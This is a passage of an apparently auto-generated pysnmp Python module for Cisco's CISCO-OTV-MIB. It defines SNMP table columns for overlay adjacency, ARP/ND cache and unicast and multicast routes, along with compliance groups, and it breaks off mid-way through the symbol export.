cotvAdjacentDevAddr = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 3, 1, 1, 2), InetAddress().subtype(subtypeSpec=ValueSizeConstraint(1, 64)))
if mibBuilder.loadTexts: cotvAdjacentDevAddr.setStatus('current')
if mibBuilder.loadTexts: cotvAdjacentDevAddr.setDescription('The Internet address of adjacent edge device. The type of this address is determined by the value of cotvAdjacentDevAddrType.')
cotvAdjacentDevSystemID = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 3, 1, 1, 3), OctetString().subtype(subtypeSpec=ConstraintsUnion(ValueSizeConstraint(0, 0), ValueSizeConstraint(6, 6), ))).setMaxAccess("readonly")
if mibBuilder.loadTexts: cotvAdjacentDevSystemID.setStatus('current')
if mibBuilder.loadTexts: cotvAdjacentDevSystemID.setDescription('This object indicates the system identifier of the adjacent edge device. The value of this object contains zero length octet, if the system identifier of the adjacent edge devices is not available.')
cotvAdjacentDevName = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 3, 1, 1, 4), SnmpAdminString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: cotvAdjacentDevName.setStatus('current')
if mibBuilder.loadTexts: cotvAdjacentDevName.setDescription('This object indicates the DNS name of the adjacent edge device.')
cotvAdjacentDevState = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 3, 1, 1, 5), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(0, 1, 2))).clone(namedValues=NamedValues(("other", 0), ("up", 1), ("down", 2)))).setMaxAccess("readonly")
if mibBuilder.loadTexts: cotvAdjacentDevState.setStatus('current')
if mibBuilder.loadTexts: cotvAdjacentDevState.setDescription("This object indicates the state of adjacent edge device. 'other' - Any other state not covered by below enumeration. 'up' - The adjacent device is up 'down' - The adjacent device is down.")
cotvAdjacentDevUpTime = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 3, 1, 1, 6), Unsigned32()).setUnits('seconds').setMaxAccess("readonly")
if mibBuilder.loadTexts: cotvAdjacentDevUpTime.setStatus('current')
if mibBuilder.loadTexts: cotvAdjacentDevUpTime.setDescription('This object indicates the amount of time for which the adjacent device has been up.')
cotvArpNdCacheTable = MibTable((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 4, 1), )
if mibBuilder.loadTexts: cotvArpNdCacheTable.setStatus('current')
if mibBuilder.loadTexts: cotvArpNdCacheTable.setDescription('A table containing ARP Neighbor Discovery cache information.')
cotvArpNdCacheEntry = MibTableRow((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 4, 1, 1), ).setIndexNames((0, "CISCO-OTV-MIB", "cotvOverlayNumber"), (0, "CISCO-OTV-MIB", "cotvVlanId"), (0, "CISCO-OTV-MIB", "cotvArpNdCacheL3AddrType"), (0, "CISCO-OTV-MIB", "cotvArpNdCacheL3Addr"))
if mibBuilder.loadTexts: cotvArpNdCacheEntry.setStatus('current')
if mibBuilder.loadTexts: cotvArpNdCacheEntry.setDescription('An entry containing management information about a particular entry in ARP Neighbor Discovery cache.')
cotvArpNdCacheL3AddrType = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 4, 1, 1, 1), InetAddressType())
if mibBuilder.loadTexts: cotvArpNdCacheL3AddrType.setStatus('current')
if mibBuilder.loadTexts: cotvArpNdCacheL3AddrType.setDescription('The type of Internet address (IPv4/IPv6 address) of host discovered using ARP Neighbor discovery.')
cotvArpNdCacheL3Addr = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 4, 1, 1, 2), InetAddress().subtype(subtypeSpec=ValueSizeConstraint(0, 64)))
if mibBuilder.loadTexts: cotvArpNdCacheL3Addr.setStatus('current')
if mibBuilder.loadTexts: cotvArpNdCacheL3Addr.setDescription('The Internet address (IPv4/IPv6 address) of the host discovered using ARP Neighbor discovery. The type of this address is determined by the value of cotvArpNdCacheL3AddrType.')
cotvArpNdCacheMacAddr = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 4, 1, 1, 3), MacAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: cotvArpNdCacheMacAddr.setStatus('current')
if mibBuilder.loadTexts: cotvArpNdCacheMacAddr.setDescription('This object indicates the MAC address discovered using ARP Neighbor discovery and cached in this table.')
cotvArpNdCacheAge = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 4, 1, 1, 4), Unsigned32()).setUnits('seconds').setMaxAccess("readonly")
if mibBuilder.loadTexts: cotvArpNdCacheAge.setStatus('current')
if mibBuilder.loadTexts: cotvArpNdCacheAge.setDescription('This object indicates the amount of time for which this entry has existed on the system.')
cotvArpNdCacheTimeToExpire = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 4, 1, 1, 5), Unsigned32()).setUnits('seconds').setMaxAccess("readonly")
if mibBuilder.loadTexts: cotvArpNdCacheTimeToExpire.setStatus('current')
if mibBuilder.loadTexts: cotvArpNdCacheTimeToExpire.setDescription('This object indicates the amount of time left for this cache entry to be expired.')
cotvRouteTable = MibTable((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 5, 1), )
if mibBuilder.loadTexts: cotvRouteTable.setStatus('current')
if mibBuilder.loadTexts: cotvRouteTable.setDescription('A table listing route (unicast) information in OTV Routing Information Base (ORIB).')
cotvRouteEntry = MibTableRow((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 5, 1, 1), ).setIndexNames((0, "CISCO-OTV-MIB", "cotvRouteVlanId"), (0, "CISCO-OTV-MIB", "cotvRouteMacAddr"))
if mibBuilder.loadTexts: cotvRouteEntry.setStatus('current')
if mibBuilder.loadTexts: cotvRouteEntry.setDescription('An entry containing management information about a particular route (unicast) in ORIB.')
cotvRouteVlanId = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 5, 1, 1, 1), VlanIndex())
if mibBuilder.loadTexts: cotvRouteVlanId.setStatus('current')
if mibBuilder.loadTexts: cotvRouteVlanId.setDescription('The object indicates VLAN associated with this route.')
cotvRouteMacAddr = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 5, 1, 1, 2), MacAddress())
if mibBuilder.loadTexts: cotvRouteMacAddr.setStatus('current')
if mibBuilder.loadTexts: cotvRouteMacAddr.setDescription('This object indicates the MAC address to be routed.')
cotvRouteMetric = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 5, 1, 1, 3), Unsigned32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: cotvRouteMetric.setStatus('current')
if mibBuilder.loadTexts: cotvRouteMetric.setDescription('This object indicates the metric associated with this route.')
cotvRouteUpTime = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 5, 1, 1, 4), Unsigned32()).setUnits('seconds').setMaxAccess("readonly")
if mibBuilder.loadTexts: cotvRouteUpTime.setStatus('current')
if mibBuilder.loadTexts: cotvRouteUpTime.setDescription('This object indicates the amount of time elapsed since the MAC route entry was installed in this table.')
cotvRouteOwner = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 5, 1, 1, 5), SnmpAdminString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: cotvRouteOwner.setStatus('current')
if mibBuilder.loadTexts: cotvRouteOwner.setDescription('This object indicates the type of owner (source) from where the MAC address was learnt.')
cotvRouteNextHopIf = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 5, 1, 1, 6), InterfaceIndexOrZero()).setMaxAccess("readonly")
if mibBuilder.loadTexts: cotvRouteNextHopIf.setStatus('current')
if mibBuilder.loadTexts: cotvRouteNextHopIf.setDescription("This object indicates the interface on the device through which the MAC address will be routed. Value of this object should be ignored if cotvRouteOwner is other than 'site' or 'static'.")
cotvRouteNextHopAddrType = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 5, 1, 1, 7), InetAddressType()).setMaxAccess("readonly")
if mibBuilder.loadTexts: cotvRouteNextHopAddrType.setStatus('current')
if mibBuilder.loadTexts: cotvRouteNextHopAddrType.setDescription("This object indicates the type of Internet address of the edge device through which the MAC address will be routed. Value of this object should be ignored if cotvRouteOwner is other than 'overlay'.")
cotvRouteNextHopAddr = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 5, 1, 1, 8), InetAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: cotvRouteNextHopAddr.setStatus('current')
if mibBuilder.loadTexts: cotvRouteNextHopAddr.setDescription("This object indicates the Internet address of the edge device through which the MAC address will be routed. The type of this address is determined by the value of cotvRouteNextHopAddrType. Value of this object should be ignored if cotvRouteOwner is other than 'overlay'.")
cotvMcastRouteTable = MibTable((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 5, 2), )
if mibBuilder.loadTexts: cotvMcastRouteTable.setStatus('current')
if mibBuilder.loadTexts: cotvMcastRouteTable.setDescription('A table listing multicast route information in OTV Routing Information Base (ORIB).')
cotvMcastRouteEntry = MibTableRow((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 5, 2, 1), ).setIndexNames((0, "CISCO-OTV-MIB", "cotvMcastRouteVlanId"), (0, "CISCO-OTV-MIB", "cotvMcastRouteActiveSrcAddrType"), (0, "CISCO-OTV-MIB", "cotvMcastRouteActiveSrcAddr"), (0, "CISCO-OTV-MIB", "cotvMcastRouteActiveGroupAddrType"), (0, "CISCO-OTV-MIB", "cotvMcastRouteActiveGroupAddr"))
if mibBuilder.loadTexts: cotvMcastRouteEntry.setStatus('current')
if mibBuilder.loadTexts: cotvMcastRouteEntry.setDescription('An entry containing information about a particular multicast route in ORIB.')
cotvMcastRouteVlanId = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 5, 2, 1, 1), VlanIndex())
if mibBuilder.loadTexts: cotvMcastRouteVlanId.setStatus('current')
if mibBuilder.loadTexts: cotvMcastRouteVlanId.setDescription('The object indicates VLAN associated with this multicast route.')
cotvMcastRouteActiveSrcAddrType = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 5, 2, 1, 2), InetAddressType())
if mibBuilder.loadTexts: cotvMcastRouteActiveSrcAddrType.setStatus('current')
if mibBuilder.loadTexts: cotvMcastRouteActiveSrcAddrType.setDescription('The type of Internet address of active multicast source.')
cotvMcastRouteActiveSrcAddr = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 5, 2, 1, 3), InetAddress().subtype(subtypeSpec=ConstraintsUnion(ValueSizeConstraint(4, 4), ValueSizeConstraint(16, 16), )))
if mibBuilder.loadTexts: cotvMcastRouteActiveSrcAddr.setStatus('current')
if mibBuilder.loadTexts: cotvMcastRouteActiveSrcAddr.setDescription('The Internet address of active multicast source. The type of this address is determined by the value of cotvMcastRouteActiveSrcAddrType.')
cotvMcastRouteActiveGroupAddrType = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 5, 2, 1, 4), InetAddressType())
if mibBuilder.loadTexts: cotvMcastRouteActiveGroupAddrType.setStatus('current')
if mibBuilder.loadTexts: cotvMcastRouteActiveGroupAddrType.setDescription('The type of Internet address of the active multicast group (multicast group of the active multicast source).')
cotvMcastRouteActiveGroupAddr = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 5, 2, 1, 5), InetAddress().subtype(subtypeSpec=ConstraintsUnion(ValueSizeConstraint(4, 4), ValueSizeConstraint(16, 16), )))
if mibBuilder.loadTexts: cotvMcastRouteActiveGroupAddr.setStatus('current')
if mibBuilder.loadTexts: cotvMcastRouteActiveGroupAddr.setDescription('The Internet address of the active multicast group of the (multicast group of the active multicast source). The type of this address is determined by the value of cotvMcastRouteActiveGroupAddrType.')
cotvMcastRouteOwners = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 5, 2, 1, 6), SnmpAdminString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: cotvMcastRouteOwners.setStatus('current')
if mibBuilder.loadTexts: cotvMcastRouteOwners.setDescription('This object indicates the type of owner(s) (sources) from where this route was learnt.')
cotvMcastRouteMetric = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 5, 2, 1, 7), Unsigned32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: cotvMcastRouteMetric.setStatus('current')
if mibBuilder.loadTexts: cotvMcastRouteMetric.setDescription('This object indicates the metric associated with this multicast route.')
cotvMcastRouteUpTime = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 5, 2, 1, 8), Unsigned32()).setUnits('seconds').setMaxAccess("readonly")
if mibBuilder.loadTexts: cotvMcastRouteUpTime.setStatus('current')
if mibBuilder.loadTexts: cotvMcastRouteUpTime.setDescription('This object indicates the amount of time elapsed since this multicast route was installed in this table.')
cotvMcastRouteInfoTable = MibTable((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 5, 3), )
if mibBuilder.loadTexts: cotvMcastRouteInfoTable.setStatus('current')
if mibBuilder.loadTexts: cotvMcastRouteInfoTable.setDescription('A table listing next-hop information associated with each multicast route in OTV Routing Information Base (ORIB).')
cotvMcastRouteInfoEntry = MibTableRow((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 5, 3, 1), ).setIndexNames((0, "CISCO-OTV-MIB", "cotvMcastRouteInfoVlanId"), (0, "CISCO-OTV-MIB", "cotvMcastRouteInfoActiveSrcAddrType"), (0, "CISCO-OTV-MIB", "cotvMcastRouteInfoActiveSrcAddr"), (0, "CISCO-OTV-MIB", "cotvMcastRouteInfoActiveGroupAddrType"), (0, "CISCO-OTV-MIB", "cotvMcastRouteInfoActiveGroupAddr"), (0, "CISCO-OTV-MIB", "cotvMcastRouteInfoIf"))
if mibBuilder.loadTexts: cotvMcastRouteInfoEntry.setStatus('current')
if mibBuilder.loadTexts: cotvMcastRouteInfoEntry.setDescription('An entry containing next-hop information about a particular multicast route in ORIB.')
cotvMcastRouteInfoVlanId = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 5, 3, 1, 1), VlanIndex())
if mibBuilder.loadTexts: cotvMcastRouteInfoVlanId.setStatus('current')
if mibBuilder.loadTexts: cotvMcastRouteInfoVlanId.setDescription('The object indicates VLAN associated with this multicast route.')
cotvMcastRouteInfoActiveSrcAddrType = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 5, 3, 1, 2), InetAddressType())
if mibBuilder.loadTexts: cotvMcastRouteInfoActiveSrcAddrType.setStatus('current')
if mibBuilder.loadTexts: cotvMcastRouteInfoActiveSrcAddrType.setDescription('The type of Internet address of active multicast source.')
cotvMcastRouteInfoActiveSrcAddr = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 5, 3, 1, 3), InetAddress().subtype(subtypeSpec=ConstraintsUnion(ValueSizeConstraint(4, 4), ValueSizeConstraint(16, 16), )))
if mibBuilder.loadTexts: cotvMcastRouteInfoActiveSrcAddr.setStatus('current')
if mibBuilder.loadTexts: cotvMcastRouteInfoActiveSrcAddr.setDescription('The Internet address of active multicast source. The type of this address is determined by the value of cotvMcastRouteInfoActiveSrcAddrType.')
cotvMcastRouteInfoActiveGroupAddrType = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 5, 3, 1, 4), InetAddressType())
if mibBuilder.loadTexts: cotvMcastRouteInfoActiveGroupAddrType.setStatus('current')
if mibBuilder.loadTexts: cotvMcastRouteInfoActiveGroupAddrType.setDescription('The type of Internet address of the active multicast group (multicast group of the active multicast source).')
cotvMcastRouteInfoActiveGroupAddr = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 5, 3, 1, 5), InetAddress().subtype(subtypeSpec=ConstraintsUnion(ValueSizeConstraint(4, 4), ValueSizeConstraint(16, 16), )))
if mibBuilder.loadTexts: cotvMcastRouteInfoActiveGroupAddr.setStatus('current')
if mibBuilder.loadTexts: cotvMcastRouteInfoActiveGroupAddr.setDescription('The Internet address of the active multicast group of the (multicast group of the active multicast source). The type of this address is determined by the value of cotvMcastRouteInfoActiveGroupAddrType.')
cotvMcastRouteInfoIf = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 5, 3, 1, 6), InterfaceIndexOrZero())
if mibBuilder.loadTexts: cotvMcastRouteInfoIf.setStatus('current')
if mibBuilder.loadTexts: cotvMcastRouteInfoIf.setDescription('This object indicates the next-hop interface on the device through which the multicast group will be routed.')
cotvMcastRouteInfoHostAddrType = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 5, 3, 1, 7), InetAddressType()).setMaxAccess("readonly")
if mibBuilder.loadTexts: cotvMcastRouteInfoHostAddrType.setStatus('current')
if mibBuilder.loadTexts: cotvMcastRouteInfoHostAddrType.setDescription("This object indicates the type of Internet address of the next-hop edge device through which the multicast group will be routed. Value of this object will be 'unknown' if no next-hop edge device information is associated with this route.")
cotvMcastRouteInfoHostAddr = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 5, 3, 1, 8), InetAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: cotvMcastRouteInfoHostAddr.setStatus('current')
if mibBuilder.loadTexts: cotvMcastRouteInfoHostAddr.setDescription('This object indicates the Internet address of the next-hop edge device through which the multicast group will be routed. The type of this address is determined by the value of cotvMcastRouteInfoHostAddrType. Value of this object will be a zero length string if no next-hop edge device information is associated with this route.')
cotvMcastRouteInfoProtocolOwners = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 5, 3, 1, 9), SnmpAdminString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: cotvMcastRouteInfoProtocolOwners.setStatus('current')
if mibBuilder.loadTexts: cotvMcastRouteInfoProtocolOwners.setDescription('This object indicates the protocols used by multicast route owner to learn this route information.')
cotvMcastRouteInfoMetric = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 5, 3, 1, 10), Unsigned32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: cotvMcastRouteInfoMetric.setStatus('current')
if mibBuilder.loadTexts: cotvMcastRouteInfoMetric.setDescription('This object indicates the metric associated with this multicast route.')
cotvMcastRouteInfoUpTime = MibTableColumn((1, 3, 6, 1, 4, 1, 9, 9, 810, 1, 5, 3, 1, 11), Unsigned32()).setUnits('seconds').setMaxAccess("readonly")
if mibBuilder.loadTexts: cotvMcastRouteInfoUpTime.setStatus('current')
if mibBuilder.loadTexts: cotvMcastRouteInfoUpTime.setDescription('This object indicates the amount of time elapsed since this multicast route entry was installed in this table.')
ciscoOtvMIBCompliances = MibIdentifier((1, 3, 6, 1, 4, 1, 9, 9, 810, 2, 1))
ciscoOtvMIBGroups = MibIdentifier((1, 3, 6, 1, 4, 1, 9, 9, 810, 2, 2))
ciscoOtvMIBCompliance = ModuleCompliance((1, 3, 6, 1, 4, 1, 9, 9, 810, 2, 1, 1)).setObjects(("CISCO-OTV-MIB", "ciscoOtvSiteGroup"), ("CISCO-OTV-MIB", "ciscoOtvOverlayGroup"), ("CISCO-OTV-MIB", "ciscoOtvVlanGroup"), ("CISCO-OTV-MIB", "ciscoOtvDataGroupConfigGroup"), ("CISCO-OTV-MIB", "ciscoOtvDataGroupInfoGroup"), ("CISCO-OTV-MIB", "ciscoOtvAdjacencyGroup"), ("CISCO-OTV-MIB", "ciscoOtvArpNdCacheGroup"), ("CISCO-OTV-MIB", "ciscoOtvRouteGroup"), ("CISCO-OTV-MIB", "ciscoOtvMcastRouteGroup"), ("CISCO-OTV-MIB", "ciscoOtvMcastRouteInfoGroup"))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
ciscoOtvMIBCompliance = ciscoOtvMIBCompliance.setStatus('current')
if mibBuilder.loadTexts: ciscoOtvMIBCompliance.setDescription('The compliance statement for CISCO-OTV-MIB.')
ciscoOtvSiteGroup = ObjectGroup((1, 3, 6, 1, 4, 1, 9, 9, 810, 2, 2, 1)).setObjects(("CISCO-OTV-MIB", "cotvSiteIdAdmin"), ("CISCO-OTV-MIB", "cotvSiteIdOper"), ("CISCO-OTV-MIB", "cotvSiteVlan"), ("CISCO-OTV-MIB", "cotvSiteVlanState"))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
ciscoOtvSiteGroup = ciscoOtvSiteGroup.setStatus('current')
if mibBuilder.loadTexts: ciscoOtvSiteGroup.setDescription('A collection of objects providing OTV site information.')
ciscoOtvOverlayGroup = ObjectGroup((1, 3, 6, 1, 4, 1, 9, 9, 810, 2, 2, 2)).setObjects(("CISCO-OTV-MIB", "cotvOverlayVpnName"), ("CISCO-OTV-MIB", "cotvOverlayVpnState"), ("CISCO-OTV-MIB", "cotvOverlayVpnDownReason"), ("CISCO-OTV-MIB", "cotvOverlayVlansExtendedFirst2k"), ("CISCO-OTV-MIB", "cotvOverlayVlansExtendedSecond2k"), ("CISCO-OTV-MIB", "cotvOverlayControlGroupAddrType"), ("CISCO-OTV-MIB", "cotvOverlayControlGroupAddr"), ("CISCO-OTV-MIB", "cotvOverlayBroadcastGroupAddrType"), ("CISCO-OTV-MIB", "cotvOverlayBroadcastGroupAddr"), ("CISCO-OTV-MIB", "cotvOverlayJoinInterface"), ("CISCO-OTV-MIB", "cotvOverlaySourceInterface"), ("CISCO-OTV-MIB", "cotvOverlayAedCapable"), ("CISCO-OTV-MIB", "cotvOverlayAedIncapableReason"), ("CISCO-OTV-MIB", "cotvOverlayAdjServerTransportType"), ("CISCO-OTV-MIB", "cotvOverlayAdjServerEnable"), ("CISCO-OTV-MIB", "cotvOverlayPrimaryAdjServerAddrType"), ("CISCO-OTV-MIB", "cotvOverlayPrimaryAdjServerAddr"), ("CISCO-OTV-MIB", "cotvOverlaySecondaryAdjServerAddrType"), ("CISCO-OTV-MIB", "cotvOverlaySecondaryAdjServerAddr"), ("CISCO-OTV-MIB", "cotvOverlaySuppressArpND"), ("CISCO-OTV-MIB", "cotvOverlayStorageType"), ("CISCO-OTV-MIB", "cotvOverlayRowStatus"))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
ciscoOtvOverlayGroup = ciscoOtvOverlayGroup.setStatus('current')
if mibBuilder.loadTexts: ciscoOtvOverlayGroup.setDescription('A collection of objects providing OTV overlay information.')
ciscoOtvVlanGroup = ObjectGroup((1, 3, 6, 1, 4, 1, 9, 9, 810, 2, 2, 3)).setObjects(("CISCO-OTV-MIB", "cotvVlanState"), ("CISCO-OTV-MIB", "cotvVlanInactiveReason"), ("CISCO-OTV-MIB", "cotvVlanAedAddrType"), ("CISCO-OTV-MIB", "cotvVlanAedAddr"), ("CISCO-OTV-MIB", "cotvVlanEdgeDevIsAed"))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
ciscoOtvVlanGroup = ciscoOtvVlanGroup.setStatus('current')
if mibBuilder.loadTexts: ciscoOtvVlanGroup.setDescription('A collection of objects providing OTV extended VLANs.')
ciscoOtvDataGroupConfigGroup = ObjectGroup((1, 3, 6, 1, 4, 1, 9, 9, 810, 2, 2, 4)).setObjects(("CISCO-OTV-MIB", "cotvDataGroupStorageType"), ("CISCO-OTV-MIB", "cotvDataGroupRowStatus"))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
ciscoOtvDataGroupConfigGroup = ciscoOtvDataGroupConfigGroup.setStatus('current')
if mibBuilder.loadTexts: ciscoOtvDataGroupConfigGroup.setDescription('A collection of objects providing overlay multicast data-group configuration information.')
ciscoOtvDataGroupInfoGroup = ObjectGroup((1, 3, 6, 1, 4, 1, 9, 9, 810, 2, 2, 5)).setObjects(("CISCO-OTV-MIB", "cotvDataGroupJoinInterface"), ("CISCO-OTV-MIB", "cotvDataGroupLocalActiveSrcState"))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
ciscoOtvDataGroupInfoGroup = ciscoOtvDataGroupInfoGroup.setStatus('current')
if mibBuilder.loadTexts: ciscoOtvDataGroupInfoGroup.setDescription('A collection of objects providing active data-group related information.')
ciscoOtvAdjacencyGroup = ObjectGroup((1, 3, 6, 1, 4, 1, 9, 9, 810, 2, 2, 6)).setObjects(("CISCO-OTV-MIB", "cotvAdjacentDevSystemID"), ("CISCO-OTV-MIB", "cotvAdjacentDevName"), ("CISCO-OTV-MIB", "cotvAdjacentDevState"), ("CISCO-OTV-MIB", "cotvAdjacentDevUpTime"))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
ciscoOtvAdjacencyGroup = ciscoOtvAdjacencyGroup.setStatus('current')
if mibBuilder.loadTexts: ciscoOtvAdjacencyGroup.setDescription('A collection of objects providing information about OTV Adjacency Database.')
ciscoOtvArpNdCacheGroup = ObjectGroup((1, 3, 6, 1, 4, 1, 9, 9, 810, 2, 2, 7)).setObjects(("CISCO-OTV-MIB", "cotvArpNdCacheMacAddr"), ("CISCO-OTV-MIB", "cotvArpNdCacheAge"), ("CISCO-OTV-MIB", "cotvArpNdCacheTimeToExpire"))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
ciscoOtvArpNdCacheGroup = ciscoOtvArpNdCacheGroup.setStatus('current')
if mibBuilder.loadTexts: ciscoOtvArpNdCacheGroup.setDescription('A collection of objects providing ARP/ND cache information.')
ciscoOtvRouteGroup = ObjectGroup((1, 3, 6, 1, 4, 1, 9, 9, 810, 2, 2, 8)).setObjects(("CISCO-OTV-MIB", "cotvRouteMetric"), ("CISCO-OTV-MIB", "cotvRouteUpTime"), ("CISCO-OTV-MIB", "cotvRouteOwner"), ("CISCO-OTV-MIB", "cotvRouteNextHopIf"), ("CISCO-OTV-MIB", "cotvRouteNextHopAddrType"), ("CISCO-OTV-MIB", "cotvRouteNextHopAddr"))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
ciscoOtvRouteGroup = ciscoOtvRouteGroup.setStatus('current')
if mibBuilder.loadTexts: ciscoOtvRouteGroup.setDescription('A collection of objects providing information about unicast routes in ORIB.')
ciscoOtvMcastRouteGroup = ObjectGroup((1, 3, 6, 1, 4, 1, 9, 9, 810, 2, 2, 9)).setObjects(("CISCO-OTV-MIB", "cotvMcastRouteOwners"), ("CISCO-OTV-MIB", "cotvMcastRouteMetric"), ("CISCO-OTV-MIB", "cotvMcastRouteUpTime"))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
ciscoOtvMcastRouteGroup = ciscoOtvMcastRouteGroup.setStatus('current')
if mibBuilder.loadTexts: ciscoOtvMcastRouteGroup.setDescription('A collection of objects providing information about multicast routes in ORIB.')
ciscoOtvMcastRouteInfoGroup = ObjectGroup((1, 3, 6, 1, 4, 1, 9, 9, 810, 2, 2, 10)).setObjects(("CISCO-OTV-MIB", "cotvMcastRouteInfoHostAddrType"), ("CISCO-OTV-MIB", "cotvMcastRouteInfoHostAddr"), ("CISCO-OTV-MIB", "cotvMcastRouteInfoProtocolOwners"), ("CISCO-OTV-MIB", "cotvMcastRouteInfoMetric"), ("CISCO-OTV-MIB", "cotvMcastRouteInfoUpTime"))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
ciscoOtvMcastRouteInfoGroup = ciscoOtvMcastRouteInfoGroup.setStatus('current')
if mibBuilder.loadTexts: ciscoOtvMcastRouteInfoGroup.setDescription('A collection of objects providing interface level information for multicast routes in ORIB.')
mibBuilder.exportSymbols("CISCO-OTV-MIB", cotvDataGroupActiveSrcLocation=cotvDataGroupActiveSrcLocation, cotvMcastRouteInfoActiveGroupAddrType=cotvMcastRouteInfoActiveGroupAddrType, cotvMcastRouteInfoTable=cotvMcastRouteInfoTable, cotvArpNdCacheMacAddr=cotvArpNdCacheMacAddr, ciscoOtvMIBNotifs=ciscoOtvMIBNotifs, cotvOverlayBroadcastGroupAddr=cotvOverlayBroadcastGroupAddr, cotvArpNdCacheL3Addr=cotvArpNdCacheL3Addr, cotvOverlayAedCapable=cotvOverlayAedCapable, cotvDataGroupActiveSrcAddrType=cotvDataGroupActiveSrcAddrType, cotvMcastRouteInfoActiveSrcAddrType=cotvMcastRouteInfoActiveSrcAddrType, cotvArpNdCacheEntry=cotvArpNdCacheEntry, cotvVlansTable=cotvVlansTable, cotvRouteEntry=cotvRouteEntry, cotvDataGroupDeliveryGroupAddrType=cotvDataGroupDeliveryGroupAddrType, cotvVlanId=cotvVlanId, PYSNMP_MODULE_ID=ciscoOtvMIB, ciscoOtvMIBGroups=ciscoOtvMIBGroups, cotvOverlayControlGroupAddrType=cotvOverlayControlGroupAddrType, cotvDataGroupDeliverySrcAddr=cotvDataGroupDeliverySrcAddr, cotvDataGroupLocalActiveSrcState=cotvDataGroupLocalActiveSrcState, cotvRouteNextHopAddrType=cotvRouteNextHopAddrType, cotvMcastRouteInfoMetric=cotvMcastRouteInfoMetric, cotvAdjacentDevUpTime=cotvAdjacentDevUpTime, cotvVlanState=cotvVlanState, cotvRouteNextHopIf=cotvRouteNextHopIf, cotvMcastRouteInfoProtocolOwners=cotvMcastRouteInfoProtocolOwners, cotvArpNdCacheTable=cotvArpNdCacheTable, ciscoOtvMcastRouteInfoGroup=ciscoOtvMcastRouteInfoGroup, cotvDataGroupMcastRangeAddrType=cotvDataGroupMcastRangeAddrType, ciscoOtvMIBCompliance=ciscoOtvMIBCompliance, cotvRouteUpTime=cotvRouteUpTime, cotvMcastRouteOwners=cotvMcastRouteOwners, cotvOverlayVpnDownReason=cotvOverlayVpnDownReason, cotvVlansEntry=cotvVlansEntry, cotvDataGroupActiveGroupAddr=cotvDataGroupActiveGroupAddr, cotvOverlayVpnState=cotvOverlayVpnState, 